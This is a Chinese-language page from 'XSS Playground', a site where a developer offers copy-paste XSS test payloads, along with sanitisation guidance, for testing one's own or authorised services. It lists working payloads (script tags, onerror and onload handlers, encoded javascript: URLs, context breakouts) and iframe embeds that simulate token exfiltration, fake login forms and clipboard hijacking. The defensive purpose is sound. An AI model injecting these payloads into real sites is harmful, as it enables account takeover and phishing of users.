XSS Playground

复制即可测试的 XSS 场景集

Sangmook Kim

AboutSangmook Kim

Frontend Engineer

我是前端开发者 Sangmook Kim。本站不是某个产品专用的 PoC,而是供所有人验证自有或被授权服务的 XSS 防护的公开 playground。

每个场景都把真实浏览器风险拆成小型测试页面:script 标签、事件属性、javascript: URL、DOM sink、嵌入式 iframe、父页面消息通信、欺骗性 UI 和自动请求。

从场景卡片或详情页复制 HTML payload 或 iframe 代码,粘贴到自己的项目中,检查渲染结果与真实浏览器行为。

GitHub

注意. 请仅对您有权测试的服务进行测试。对第三方服务的试探可能违反相关计算机网络法规。

项目意图

XSS 防护不能只靠某个 HTML 过滤器名称或一行过滤规则完成。需要在真实浏览器中确认 iframe、消息、权限提示、自动请求和欺骗性 UI 到底能运行到什么程度。

本站不是攻击自动化工具,而是帮助开发者和安全团队在自有或授权服务中复现并检查渲染策略的清单。

所有代码片段都以复制到 dev / staging 环境为前提。若 HTML payload 执行或 iframe 场景可运行,就是需要排查的信号;若被阻止,则可以记录是哪条策略发挥了作用。

使用方法

  1. 打开目标场景页面。
  2. 从首页卡片或详情页复制 HTML payload 或 iframe 代码。
  3. 粘贴到自有服务(编辑器、笔记、wiki 等)并保存。
  4. 检查渲染、sandbox、CSP、postMessage 校验和实际浏览器行为。

Sanitize 实践指南

如果产品功能必须允许 HTML,不要依赖字符串替换或黑名单。应将按上下文输出编码与经过验证的 sanitizer 策略结合起来。

DOMPurify

DOMPurify 是常用的 sanitizer,可从 HTML、SVG、MathML 中移除可执行风险。只在确实需要渲染 HTML 的位置使用,例如 dangerouslySetInnerHTML、Markdown/MDX 输出或富文本渲染。

Node.js / SSR

服务端 sanitize 需要 DOM 实现。在 Node.js 中应将 DOMPurify 与最新 jsdom 组合使用,并测试客户端与服务端 allowlist 不会漂移。

策略文档化

按功能记录允许的标签、属性、URL protocol/host、iframe sandbox 与 CSP。如果 sanitize 后又被其他 renderer 改写 HTML,防护效果可能被破坏。

XSS 威胁地图

参考 Hacker101 CTF 的 XSS Playground 分类与 PortSwigger Web Security Academy 指南,本站将需要测试的风险整理如下。

Reflected XSS

查询参数、搜索词、错误消息等当前请求中的数据未经正确输出编码就被立即反射到 HTML 中。

Stored XSS

评论、资料、文档正文等已保存的用户输入随后被其他用户以活动内容形式渲染。

DOM-based XSS

客户端代码读取 location、hash、postMessage 等不可信值,并写入 innerHTML 或字符串计时器等危险 sink。

Filter / CSP bypass

事件处理器、SVG/MathML、javascript: URL、编码与模板语法可能绕过薄弱黑名单或不完整 CSP。

Account abuse

脚本一旦执行,就可以以用户权限发起请求、操纵页面,并利用该用户可访问的数据。

Phishing / exfiltration

iframe、覆盖层、通知、剪贴板和 postMessage 可能诱导用户输入机密,或把可观察信息发送到外部。

场景

按类别整理的攻击场景。可直接从卡片复制 HTML payload 或 embed 代码,也可进入详情页深入测试。

HTML Injection

script 标签注入

检查用户输入被直接作为 HTML 文档解析时,script 标签是否会执行。

<script>alert("xss-playground")</script>
事件处理器属性注入

检查 img onerror、details ontoggle 等事件属性是否在渲染后保留并执行。

<img src=x onerror="alert('xss-playground')">
SVG / MathML onload payload

检查 SVG、MathML 等非 HTML namespace 的事件属性和嵌套 HTML 是否绕过弱过滤。

<svg onload="alert('xss-playground')" xmlns="http://www.w3.org/2000/svg"></svg>

DOM XSS

DOM innerHTML sink

检查来自 location、hash、postMessage 等不可信来源的字符串是否进入 innerHTML 等 unsafe sink。

<img src=x onerror="alert('dom-xss')">

URL / Protocol

javascript: URL 协议

检查 href、action 等 URL 属性中是否残留 javascript:,并在点击或 submit 时执行。

<a href="javascript:alert('xss-playground')">click me</a>
编码后的 javascript: 协议绕过

检查 HTML entity、控制字符或大小写变化是否能绕过 javascript: URL 校验。

<a href="jav&#x61;script:alert('xss-playground')">encoded protocol</a>
data: URL wrapper

检查 iframe、object、embed、link preview 等 URL 属性是否允许 data:text/html 并创建可执行 HTML 文档。

<iframe src="data:text/html,<script>parent.postMessage({type:'DATA_URL_XSS'},'*')</script>"></iframe>

Context Breakout

JavaScript 字符串上下文逃逸

检查用户输入进入 script 字符串、JSON 启动状态或 inline 事件代码时,是否能逃逸当前上下文。

";alert("xss-playground");//
CSS / style 上下文注入

检查用户输入进入 style 标签、style 属性或 CSS URL token 时,是否存在 parser 逃逸或危险 URL。

</style><img src=x onerror="alert('css-context-xss')"><style>

File Upload

文件上传预览 XSS

检查上传的 SVG、XML、HTML 文件在预览渲染时是否会执行 active content。

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg-file-xss')"></svg>

User Content

Markdown 链接 XSS

检查 Markdown/MDX/编辑器 renderer 是否安全规范化并 sanitize 链接 URL、raw HTML 和图片 URL。

[click me](javascript:alert('markdown-xss'))
资料昵称 / 图标渲染 XSS

检查昵称、状态文本、图标 URL 等看似很小的资料字段,在属性或 HTML 上下文中是否会变成可执行代码。

" autofocus onfocus="alert('nickname-xss')" x="

Navigation

top.location 强制跳转

从 iframe 内替换整个父窗口,并比较 sandbox allow-top-navigation 的行为差异。

<iframe src="https://xss-playground.com/embed/top-redirect?lang=zh" title="XSS Playground - top.location 强制跳转" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Communication

postMessage 欺骗

通过 parent.postMessage 向父页面发送伪造消息,检查是否缺少 origin 校验。

<iframe src="https://xss-playground.com/embed/post-message?lang=zh" title="XSS Playground - postMessage 欺骗" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
隐藏 form 自动 submit(类似 CSRF)

在用户不知情的情况下向外部域提交 form,并比较 sandbox allow-forms 与 CSRF 边界。

<iframe src="https://xss-playground.com/embed/form-auto-submit?lang=zh" title="XSS Playground - 隐藏 form 自动 submit(类似 CSRF)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
navigator.sendBeacon / fetch 数据外传

检查 iframe 自身 origin 中收集的信息和 referrer 是否可通过 sendBeacon 或 fetch 发送到外部。

<iframe src="https://xss-playground.com/embed/beacon-exfil?lang=zh" title="XSS Playground - navigator.sendBeacon / fetch 数据外传" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
img 标签 GET 请求 CSRF

检查是否可通过 img.src 请求外部状态变更 GET endpoint,并自动携带 cookie。

<iframe src="https://xss-playground.com/embed/csrf-image?lang=zh" title="XSS Playground - img 标签 GET 请求 CSRF" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Exfiltration

父页面 token / 网络窃取尝试

从 iframe 内探测父页面 JWT、storage 和正在进行的网络请求边界。

<iframe src="https://xss-playground.com/embed/token-exfil?lang=zh" title="XSS Playground - 父页面 token / 网络窃取尝试" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Phishing

假登录表单(钓鱼)

在 iframe 内绘制类似父站点的登录表单,并在 iframe 自己的 origin 中收集用户输入。

<iframe src="https://xss-playground.com/embed/phishing-form?lang=zh" title="XSS Playground - 假登录表单(钓鱼)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
全屏覆盖层伪装

把 iframe 放到屏幕区域上,并绘制类似父站点的 UI 来欺骗用户。

<iframe src="https://xss-playground.com/embed/fullscreen-overlay?lang=zh" title="XSS Playground - 全屏覆盖层伪装" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Delayed / Chained

Blind XSS 工作流

追踪不会立即执行、但稍后在管理员控制台、通知、日志查看器或 CRM 中执行的 payload。

<img src=x onerror="fetch('/redirected?from=blind-xss&surface=admin-log',{mode:'no-cors'})">
延迟 / 自动触发 payload

通过计时器或 URL 参数,在一段时间后自动触发 top-redirect、postMessage、form submit 等动作。

<iframe src="https://xss-playground.com/embed/delayed-attack?lang=zh" title="XSS Playground - 延迟 / 自动触发 payload" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
链式攻击(钓鱼 + 全屏 + redirect)

复现假全屏 UI、凭据捕获、top redirect 组合在一起降低用户怀疑的攻击流程。

<iframe src="https://xss-playground.com/embed/chained-attack?lang=zh" title="XSS Playground - 链式攻击(钓鱼 + 全屏 + redirect)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Annoyance

自动下载触发

检查是否可通过 download 属性、Blob URL 或 data URL 在没有明确用户点击的情况下开始文件下载。

<iframe src="https://xss-playground.com/embed/auto-download?lang=zh" title="XSS Playground - 自动下载触发" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
popup / window.open 垃圾弹窗

通过 window.open 打开新窗口,检查 popup 阻止、allow-popups、opener 和 tabnabbing 边界。

<iframe src="https://xss-playground.com/embed/popup-spam?lang=zh" title="XSS Playground - popup / window.open 垃圾弹窗" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
自动播放媒体 / 自动全屏

尝试自动播放带声音的媒体,或通过 requestFullscreen 占用全屏。

<iframe src="https://xss-playground.com/embed/autoplay-media?lang=zh" title="XSS Playground - 自动播放媒体 / 自动全屏" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
通知权限请求 / push 劫持

调用 Notification.requestPermission,检查权限提示以及后续钓鱼通知风险。

<iframe src="https://xss-playground.com/embed/notification-permission?lang=zh" title="XSS Playground - 通知权限请求 / push 劫持" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
剪贴板劫持

用户在 iframe 区域复制时拦截 copy 事件,并用其他内容覆盖剪贴板。

<iframe src="https://xss-playground.com/embed/clipboard-hijack?lang=zh" title="XSS Playground - 剪贴板劫持" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
history.pushState 污染

堆积 iframe 自身 origin 的 history 条目,干扰父标签页的后退导航。

<iframe src="https://xss-playground.com/embed/history-pollution?lang=zh" title="XSS Playground - history.pushState 污染" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

Probe

Same-Origin Policy 探测(预期失败)

尝试访问父页面 DOM、storage 与 cookie,确认 SOP 具体阻止什么、仍允许什么。

<iframe src="https://xss-playground.com/embed/sop-probe?lang=zh" title="XSS Playground - Same-Origin Policy 探测(预期失败)" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>
父页面 message listener 指纹探测

向父页面发送多种 postMessage payload,并观察响应或副作用。

<iframe src="https://xss-playground.com/embed/parent-message-listener-probe?lang=zh" title="XSS Playground - 父页面 message listener 指纹探测" width="600" height="420" loading="lazy" referrerpolicy="strict-origin-when-cross-origin"></iframe>

贡献 (Issues / PR)

本项目采用 source-available 许可证。源代码公开供查看与贡献,但不允许 fork 后另行部署、镜像或用于商业服务。

欢迎提交想法、缺陷报告、翻译改进与新场景建议。请先在 Issue 中讨论方案;获得认可后可被加为 collaborator,直接在本仓库中创建分支并提交 PR,避免长期维护 fork。

完整政策见 LICENSE 与 CONTRIBUTING.md。